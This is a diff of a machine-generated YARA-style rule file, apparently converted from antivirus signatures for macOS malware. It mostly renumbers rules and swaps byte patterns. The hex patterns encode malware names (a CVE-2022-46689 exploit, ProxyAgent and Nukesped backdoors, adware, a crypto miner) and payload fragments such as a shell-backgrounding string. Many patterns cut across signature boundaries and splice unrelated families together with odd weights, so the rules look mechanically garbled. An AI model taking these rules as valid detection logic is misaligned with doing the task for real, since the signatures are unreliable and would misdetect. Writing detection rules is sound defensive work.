05 00 21 " @@ -281363,7 +297820,7 @@ rule _InfrastructureShared_21324{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*43+(#a_2f_2 & 1)*20323+(#a_72_3 & 1)*41+(#a_4c_4 & 1)*8993) >=5 } -rule _InfrastructureShared_21325{ +rule _InfrastructureShared_22609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281375,7 +297832,7 @@ rule _InfrastructureShared_21325{ ((#a_46_0 & 1)*16675+(#a_79_2 & 1)*21249+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_21326{ +rule _InfrastructureShared_22610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281388,7 +297845,7 @@ rule _InfrastructureShared_21326{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28530+(#a_61_2 & 1)*14930+(#a_74_3 & 1)*28496) >=4 } -rule _InfrastructureShared_21327{ +rule _InfrastructureShared_22611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281401,7 +297858,7 @@ rule _InfrastructureShared_21327{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_21328{ +rule _InfrastructureShared_22612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281415,7 +297872,7 @@ rule _InfrastructureShared_21328{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25957+(#a_4f_2 & 1)*24909+(#a_6c_3 & 1)*24948+(#a_42_4 & 1)*24909) >=4 } -rule _InfrastructureShared_21329{ +rule _InfrastructureShared_22613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -281428,7 +297885,7 @@ rule _InfrastructureShared_21329{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29811+(#a_00_2 & 1)*4+(#a_50_3 & 1)*19521) >=3 } -rule _InfrastructureShared_21330{ +rule _InfrastructureShared_22614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281441,7 +297898,7 @@ rule _InfrastructureShared_21330{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27756+(#a_69_2 & 1)*28271+(#a_5f_3 & 1)*20545) >=4 } -rule _InfrastructureShared_21331{ +rule _InfrastructureShared_22615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 08 00 21 " @@ -281458,7 +297915,7 @@ rule _InfrastructureShared_21331{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*16720+(#a_45_2 & 1)*20041+(#a_06_3 & 1)*-28474+(#a_89_4 & 1)*8168+(#a_4d_5 & 1)*-20159+(#a_6e_6 & 1)*16943+(#a_65_7 & 1)*28233) >=6 } -rule _InfrastructureShared_21332{ +rule _InfrastructureShared_22616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -281469,7 +297926,7 @@ rule _InfrastructureShared_21332{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*21825) >=2 } -rule _InfrastructureShared_21333{ +rule _InfrastructureShared_22617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 07 00 21 " @@ -281485,7 +297942,7 @@ rule _InfrastructureShared_21333{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25711+(#a_63_2 & 1)*19770+(#a_69_3 & 1)*29779+(#a_2e_4 & 1)*26980+(#a_72_5 & 1)*30255+(#a_49_6 & 1)*25449) >=3 } -rule _InfrastructureShared_21334{ +rule _InfrastructureShared_22618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -281498,7 +297955,7 @@ rule _InfrastructureShared_21334{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26925+(#a_48_2 & 1)*21061+(#a_01_3 & 1)*29545) >=6 } -rule _InfrastructureShared_21335{ +rule _InfrastructureShared_22619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281512,7 +297969,7 @@ rule _InfrastructureShared_21335{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24948+(#a_45_2 & 1)*17996+(#a_49_3 & 1)*25449+(#a_50_4 & 1)*19521) >=4 } -rule _InfrastructureShared_21336{ +rule _InfrastructureShared_22620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 05 00 21 " @@ -281525,7 +297982,7 @@ rule _InfrastructureShared_21336{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*26980+(#a_48_2 & 1)*21061+(#a_0f_4 & 1)*-14124) >=7 } -rule _InfrastructureShared_21337{ +rule _InfrastructureShared_22621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -281537,7 +297994,7 @@ rule _InfrastructureShared_21337{ ((#a_46_0 & 1)*16675+(#a_d0_1 & 1)*56+(#a_83_2 & 1)*704) >=5 } -rule _InfrastructureShared_21338{ +rule _InfrastructureShared_22622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -281552,7 +298009,7 @@ rule _InfrastructureShared_21338{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28773+(#a_3a_2 & 1)*17744+(#a_63_3 & 1)*0+(#a_72_4 & 1)*25972+(#a_76_5 & 1)*30050) >=6 } -rule _InfrastructureShared_21339{ +rule _InfrastructureShared_22623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -281563,7 +298020,7 @@ rule _InfrastructureShared_21339{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*12551) >=2 } -rule _InfrastructureShared_21340{ +rule _InfrastructureShared_22624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -281575,7 +298032,7 @@ rule _InfrastructureShared_21340{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12918+(#a_2f_2 & 1)*27504) >=3 } -rule _InfrastructureShared_21341{ +rule _InfrastructureShared_22625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281589,7 +298046,7 @@ rule _InfrastructureShared_21341{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30309+(#a_00_2 & 1)*29811+(#a_65_3 & 1)*26881+(#a_6f_4 & 1)*21) >=4 } -rule _InfrastructureShared_21342{ +rule _InfrastructureShared_22626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281603,7 +298060,7 @@ rule _InfrastructureShared_21342{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*24946+(#a_50_2 & 1)*19521+(#a_63_3 & 1)*27743+(#a_41_4 & 1)*8448) >=4 } -rule _InfrastructureShared_21343{ +rule _InfrastructureShared_22627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 21 " @@ -281619,7 +298076,7 @@ rule _InfrastructureShared_21343{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*0) >=7 } -rule _InfrastructureShared_21344{ +rule _InfrastructureShared_22628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281632,7 +298089,7 @@ rule _InfrastructureShared_21344{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29545+(#a_69_2 & 1)*27760+(#a_01_3 & 1)*2) >=4 } -rule _InfrastructureShared_21345{ +rule _InfrastructureShared_22629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -281644,7 +298101,7 @@ rule _InfrastructureShared_21345{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-25901+(#a_41_3 & 1)*8448) >=12 } -rule _InfrastructureShared_21346{ +rule _InfrastructureShared_22630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -281654,7 +298111,7 @@ rule _InfrastructureShared_21346{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_21347{ +rule _InfrastructureShared_22631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -281667,7 +298124,7 @@ rule _InfrastructureShared_21347{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*12032+(#a_53_2 & 1)*25441+(#a_63_3 & 1)*28025) >=2 } -rule _InfrastructureShared_21348{ +rule _InfrastructureShared_22632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281680,7 +298137,7 @@ rule _InfrastructureShared_21348{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25134+(#a_6f_2 & 1)*26990+(#a_76_3 & 1)*25964) >=4 } -rule _InfrastructureShared_21349{ +rule _InfrastructureShared_22633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -281695,7 +298152,7 @@ rule _InfrastructureShared_21349{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*25974+(#a_41_2 & 1)*8448+(#a_65_3 & 1)*30575+(#a_72_4 & 1)*18036+(#a_01_5 & 1)*28776) >=6 } -rule _InfrastructureShared_21350{ +rule _InfrastructureShared_22634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 21 " @@ -281710,7 +298167,7 @@ rule _InfrastructureShared_21350{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*13652+(#a_69_2 & 1)*25409+(#a_43_3 & 1)*29295+(#a_61_4 & 1)*14930+(#a_00_5 & 1)*1) >=3 } -rule _InfrastructureShared_21351{ +rule _InfrastructureShared_22635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281723,7 +298180,7 @@ rule _InfrastructureShared_21351{ ((#a_46_0 & 1)*16675+(#a_4a_1 & 1)*27753+(#a_72_2 & 1)*29793+(#a_61_3 & 1)*11877) >=4 } -rule _InfrastructureShared_21352{ +rule _InfrastructureShared_22636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -281736,7 +298193,7 @@ rule _InfrastructureShared_21352{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*22085+(#a_00_2 & 1)*15726+(#a_73_3 & 1)*18688) >=5 } -rule _InfrastructureShared_21353{ +rule _InfrastructureShared_22637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 05 00 21 " @@ -281748,7 +298205,7 @@ rule _InfrastructureShared_21353{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*22816+(#a_41_4 & 1)*8448) >=2 } -rule _InfrastructureShared_21354{ +rule _InfrastructureShared_22638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -281761,7 +298218,7 @@ rule _InfrastructureShared_21354{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29793+(#a_69_2 & 1)*18290+(#a_72_3 & 1)*12142) >=3 } -rule _InfrastructureShared_21355{ +rule _InfrastructureShared_22639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281774,7 +298231,7 @@ rule _InfrastructureShared_21355{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28265+(#a_c4_2 & 1)*3+(#a_63_3 & 1)*30561) >=4 } -rule _InfrastructureShared_21356{ +rule _InfrastructureShared_22640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281788,7 +298245,7 @@ rule _InfrastructureShared_21356{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27747+(#a_c4_2 & 1)*3+(#a_65_3 & 1)*26989+(#a_44_4 & 1)*16943) >=4 } -rule _InfrastructureShared_21357{ +rule _InfrastructureShared_22641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281800,7 +298257,7 @@ rule _InfrastructureShared_21357{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*16240+(#a_00_2 & 1)*0) >=5 } -rule _InfrastructureShared_21358{ +rule _InfrastructureShared_22642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281811,7 +298268,7 @@ rule _InfrastructureShared_21358{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29781) >=4 } -rule _InfrastructureShared_21359{ +rule _InfrastructureShared_22643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 05 00 21 " @@ -281825,7 +298282,7 @@ rule _InfrastructureShared_21359{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28515+(#a_00_2 & 1)*5+(#a_45_3 & 1)*17996+(#a_4d_4 & 1)*17486) >=2 } -rule _InfrastructureShared_21360{ +rule _InfrastructureShared_22644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -281840,7 +298297,7 @@ rule _InfrastructureShared_21360{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*20304+(#a_20_2 & 1)*29548+(#a_68_3 & 1)*25960+(#a_eb_4 & 1)*287+(#a_eb_5 & 1)*287) >=5 } -rule _InfrastructureShared_21361{ +rule _InfrastructureShared_22645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -281851,7 +298308,7 @@ rule _InfrastructureShared_21361{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*1333) >=2 } -rule _InfrastructureShared_21362{ +rule _InfrastructureShared_22646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281864,7 +298321,7 @@ rule _InfrastructureShared_21362{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*8306+(#a_00_2 & 1)*4+(#a_50_3 & 1)*19521) >=4 } -rule _InfrastructureShared_21363{ +rule _InfrastructureShared_22647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281877,7 +298334,7 @@ rule _InfrastructureShared_21363{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26988+(#a_3a_2 & 1)*26222+(#a_50_3 & 1)*29795) >=4 } -rule _InfrastructureShared_21364{ +rule _InfrastructureShared_22648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281890,7 +298347,7 @@ rule _InfrastructureShared_21364{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29285+(#a_72_2 & 1)*30575+(#a_2d_4 & 1)*24941) >=4 } -rule _InfrastructureShared_21365{ +rule _InfrastructureShared_22649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281904,7 +298361,7 @@ rule _InfrastructureShared_21365{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*30789+(#a_23_2 & 1)*4+(#a_20_3 & 1)*25344+(#a_72_4 & 1)*26222) >=5 } -rule _InfrastructureShared_21366{ +rule _InfrastructureShared_22650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281916,7 +298373,7 @@ rule _InfrastructureShared_21366{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28792+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_21367{ +rule _InfrastructureShared_22651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281930,7 +298387,7 @@ rule _InfrastructureShared_21367{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11892+(#a_2e_2 & 1)*29537+(#a_6e_3 & 1)*28516+(#a_45_4 & 1)*17996) >=4 } -rule _InfrastructureShared_21368{ +rule _InfrastructureShared_22652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -281943,7 +298400,7 @@ rule _InfrastructureShared_21368{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=3 } -rule _InfrastructureShared_21369{ +rule _InfrastructureShared_22653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281955,32 +298412,21 @@ rule _InfrastructureShared_21369{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*16995+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_21370{ +rule _InfrastructureShared_22654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 74 68 65 72 65 75 6d 00 02 00 19 00 65 74 68 61 73 68 5f 63 61 6c 63 75 6c 61 74 65 5f 64 61 67 5f 69 74 65 6d 02 00 12 00 65 74 68 5f 73 75 62 6d 69 74 48 61 73 68 72 61 74 65 01 00 } //16675 $a_74_1 = {65 72 65 75 6d 2d 6d 69 6e 69 6e 67 2f 65 74 68 6d 69 6e 65 72 2f 65 74 68 6d 69 6e 65 72 2f 4d 69 6e 65 72 41 75 78 2e 68 01 00 2c 00 65 74 68 70 6f 6f 6c 2c 20 65 74 68 65 72 6d 69 6e 65 2c 20 63 6f 69 6e 6f 74 72 6f 6e 2c 20 6d 70 68 2c 20 6e 61 6e 6f 70 6f 6f 6c 01 00 0e 00 31 32 37 2e 30 2e 30 2e } //44 - $a_35_2 = {35 00 00 05 00 8d cd 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 43 56 45 2d 32 30 32 32 2d 34 36 36 38 39 2e 43 21 4d 54 42 00 } //14897 - $a_01_3 = {f6 57 bd a9 f4 4f 01 a9 fd 7b 02 a9 fd 83 00 91 f3 03 00 aa 34 54 40 a9 36 40 40 39 e0 03 14 aa e1 03 15 aa e2 03 16 aa dc ff ff 97 60 06 40 a9 62 42 40 39 74 56 00 a9 76 42 00 39 dd ff ff 97 e0 03 13 aa fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 } //1 - $a_01_4 = {f4 4f be a9 fd 7b 01 a9 fd 43 00 91 f3 03 00 aa 20 00 c0 3d 28 40 40 39 00 00 40 f9 61 06 40 f9 62 42 40 39 60 02 80 3d 68 42 00 39 c7 ff ff 97 e0 03 13 aa fd 7b 41 a9 f4 4f c2 a8 c0 03 5f d6 } //1 + $a_35_2 = {35 00 00 05 00 8d cd 00 00 03 00 03 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 53 68 6f 70 73 6d 61 72 74 2e 41 00 02 00 1b 00 63 6f 6d 2e 73 } //14897 + $a_73_3 = {61 72 74 2e 4d 79 43 6f 75 70 6f 6e 73 6d 61 72 74 02 00 19 00 6e 65 74 2e 73 65 61 72 63 68 6d 69 6e 65 2e 53 65 61 72 63 68 4d 69 6e 65 01 00 09 00 41 6e 79 53 65 61 72 63 68 01 00 2b 00 4d 79 43 6f 75 70 6f 6e 73 6d 61 72 74 2d 65 78 74 2e 61 70 70 65 78 2f 43 6f 6e 74 65 6e 74 73 2f 49 6e 66 6f 2e 70 6c 69 73 74 01 00 0a 00 51 32 } //28520 + $a_47_4 = {32 4b 46 01 00 0a 00 46 54 4b 46 34 48 38 33 4a 44 01 00 0b 00 48 33 50 38 53 55 56 37 4b 32 31 00 00 02 00 8d ce 00 00 02 00 02 00 02 00 21 23 50 55 41 3a 42 6c } //20546 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*44+(#a_35_2 & 1)*14897+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*44+(#a_35_2 & 1)*14897+(#a_73_3 & 1)*28520+(#a_47_4 & 1)*20546) >=7 } -rule _InfrastructureShared_21371{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 43 56 45 2d 32 30 32 32 2d 34 36 36 38 39 2e 43 21 4d 54 42 00 01 00 54 01 f6 57 bd a9 f4 4f 01 a9 fd 7b 02 a9 fd 83 00 91 f3 03 00 aa 34 54 40 a9 36 40 40 39 e0 03 } //21539 - $a_03_1 = {15 aa e2 03 16 aa dc ff ff 97 60 06 40 a9 62 42 40 39 74 56 00 a9 76 42 00 39 dd ff ff 97 e0 03 13 aa fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 01 00 40 01 f4 4f be a9 fd 7b 01 a9 fd 43 00 91 f3 03 00 aa 20 00 c0 3d 28 40 40 39 00 00 40 f9 61 06 40 f9 62 42 40 39 60 02 80 3d 68 42 00 39 c7 ff ff 97 e0 03 13 aa fd 7b 41 a9 f4 4f c2 a8 c0 03 5f d6 00 00 8d cd 00 00 03 00 03 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 53 68 6f 70 73 6d 61 72 74 2e 41 00 02 00 1b 00 63 6f 6d 2e 73 68 6f 70 73 6d 61 72 74 2e 4d 79 43 6f 75 70 6f 6e 73 6d 61 72 74 02 00 19 00 6e 65 74 2e 73 65 61 72 63 68 6d 69 6e 65 2e 53 65 61 72 63 68 4d 69 6e 65 01 00 09 } //-21996 - condition: - ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*-21996) >=2 - -} -rule _InfrastructureShared_21372{ +rule _InfrastructureShared_22655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 07 00 21 " @@ -281991,12 +298437,12 @@ rule _InfrastructureShared_21372{ $a_08_3 = {4c 89 64 08 08 49 c1 e5 05 4c 03 6b 38 4c 8d b5 50 ff ff ff 4c 89 f7 4c 89 ee e8 b5 96 ff ff 4c 89 f7 e8 8d 96 ff ff 48 8b 43 10 48 ff c0 70 4f 48 8b 4d a8 } //-30388 $a_48_4 = {43 10 4c 8b 75 b8 4c 39 f1 4c 8d 65 80 01 00 3a 00 45 31 c0 4c 89 f2 4c 89 e1 e8 5a 04 00 00 a8 01 0f 85 c3 00 00 00 49 ff c5 49 21 dd 4c 89 ea 48 c1 ea 06 48 8b 45 d0 48 8b 34 d0 b8 01 00 00 00 44 89 e9 48 d3 e0 4c 0f a3 ee 00 00 01 00 8d ce 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 50 72 6f 78 79 41 67 65 6e 74 2e 45 21 4d 54 42 00 01 00 38 01 fe 0f 1f f8 fd 83 1f f8 fd 23 00 d1 f3 03 00 aa 60 02 40 f9 61 06 40 f9 62 12 80 b9 63 16 80 b9 64 1a 80 b9 65 1e 80 b9 0d 2c 07 94 e1 03 1f aa 02 00 80 92 5f 00 00 eb 01 00 62 03 fe 0f 1c f8 } //-184 $a_f8_5 = {23 00 d1 f3 03 00 aa da 2b 07 94 60 02 00 f9 5b 27 00 b0 74 cb 86 b9 55 27 00 b0 b5 32 1b 91 } //-31747 - $a_88_6 = {02 00 f1 81 90 01 03 ff 43 00 d1 e0 03 00 91 d2 2b 07 94 f4 03 80 b9 f5 07 80 b9 ff 43 00 91 5b 27 00 b0 74 cb 06 b9 56 27 00 b0 d6 32 1b 91 d5 fe 9f 88 90 00 00 00 8d cf 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 41 67 6e 74 2e 47 21 4d 54 42 00 01 00 56 01 49 d3 e4 4c 89 e7 48 c1 ef 20 48 89 d0 31 d2 48 f7 f7 49 89 c1 48 89 d0 45 89 e2 45 89 c3 4c 89 ca 49 0f af d2 4c 0f a4 c0 20 48 39 d0 73 27 4c 01 e0 4c 39 e0 41 0f 93 c0 48 39 d0 41 0f 92 c7 31 db 45 20 c7 49 0f 45 dc 48 01 d8 41 0f b6 df 48 f7 d3 49 01 d9 01 00 4a 01 48 29 d0 31 d2 48 f7 f7 4c 0f af d0 48 c1 e2 20 4c 09 da 4c 39 d2 73 25 4c 01 e2 4c 39 e2 41 0f 93 } //-331 + $a_88_6 = {02 00 f1 81 90 01 03 ff 43 00 d1 e0 03 00 91 d2 2b 07 94 f4 03 80 b9 f5 07 80 b9 ff 43 00 91 5b 27 00 b0 74 cb 06 b9 56 27 00 b0 d6 32 1b 91 d5 fe 9f 88 90 00 00 00 8d d0 00 00 0b 00 0b 00 07 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 61 63 4f 53 2f 4e 75 6b 65 73 70 65 64 2e 43 00 01 00 17 03 89 c6 83 e6 90 01 01 8a 0c 3e 30 0c 03 48 ff c0 48 39 c2 75 ed 90 00 01 00 20 01 aa 6a 68 38 0b 11 40 92 2b 69 6b 38 6a 01 0a 4a aa 6a 28 38 08 05 00 91 5f 00 08 eb 21 ff ff 54 02 00 0e 00 44 65 63 72 79 70 74 50 61 79 6c 6f 61 64 02 00 0b 00 68 74 74 70 3a 2f 2f 25 73 25 73 02 00 14 00 25 73 20 3e 2f 64 65 76 2f 6e 75 6c 6c 20 32 3e 26 31 20 26 02 00 0b 00 52 65 } //-331 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25939+(#a_38_2 & 1)*13128+(#a_08_3 & 1)*-30388+(#a_48_4 & 1)*-184+(#a_f8_5 & 1)*-31747+(#a_88_6 & 1)*-331) >=3 } -rule _InfrastructureShared_21373{ +rule _InfrastructureShared_22656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -282007,7 +298453,7 @@ rule _InfrastructureShared_21373{ ((#a_41_0 & 1)*20515+(#a_ff_1 & 1)*-26955) >=2 } -rule _InfrastructureShared_21374{ +rule _InfrastructureShared_22657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -282019,18 +298465,7 @@ rule _InfrastructureShared_21374{ ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*26041) >=2 } -rule _InfrastructureShared_21375{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 41 67 6e 74 2e 47 21 4d 54 42 00 01 00 56 01 49 d3 e4 4c 89 e7 48 c1 ef 20 48 89 d0 31 d2 48 f7 f7 49 89 c1 48 89 d0 45 89 e2 45 89 c3 4c 89 ca 49 0f af d2 4c 0f a4 } //21539 - $a_39_1 = {73 27 4c 01 e0 4c 39 e0 41 0f 93 c0 48 39 d0 41 0f 92 c7 31 db 45 20 c7 49 0f 45 dc 48 01 d8 41 0f b6 df 48 f7 d3 49 01 d9 01 00 4a 01 48 29 d0 31 d2 48 f7 f7 4c 0f af d0 48 c1 e2 20 4c 09 da 4c 39 d2 73 25 4c 01 e2 } //8384 - condition: - ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*8384) >=2 - -} -rule _InfrastructureShared_21376{ +rule _InfrastructureShared_22658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -282045,7 +298480,7 @@ rule _InfrastructureShared_21376{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2104+(#a_54_2 & 1)*-223+(#a_80_3 & 1)*352+(#a_58_5 & 1)*24320+(#a_6f_6 & 1)*23) >=11 } -rule _InfrastructureShared_21377{ +rule _InfrastructureShared_22659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -282056,7 +298491,7 @@ rule _InfrastructureShared_21377{ ((#a_46_0 & 1)*16675+(#a_90_2 & 1)*30) >=3 } -rule _InfrastructureShared_21378{ +rule _InfrastructureShared_22660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282069,7 +298504,7 @@ rule 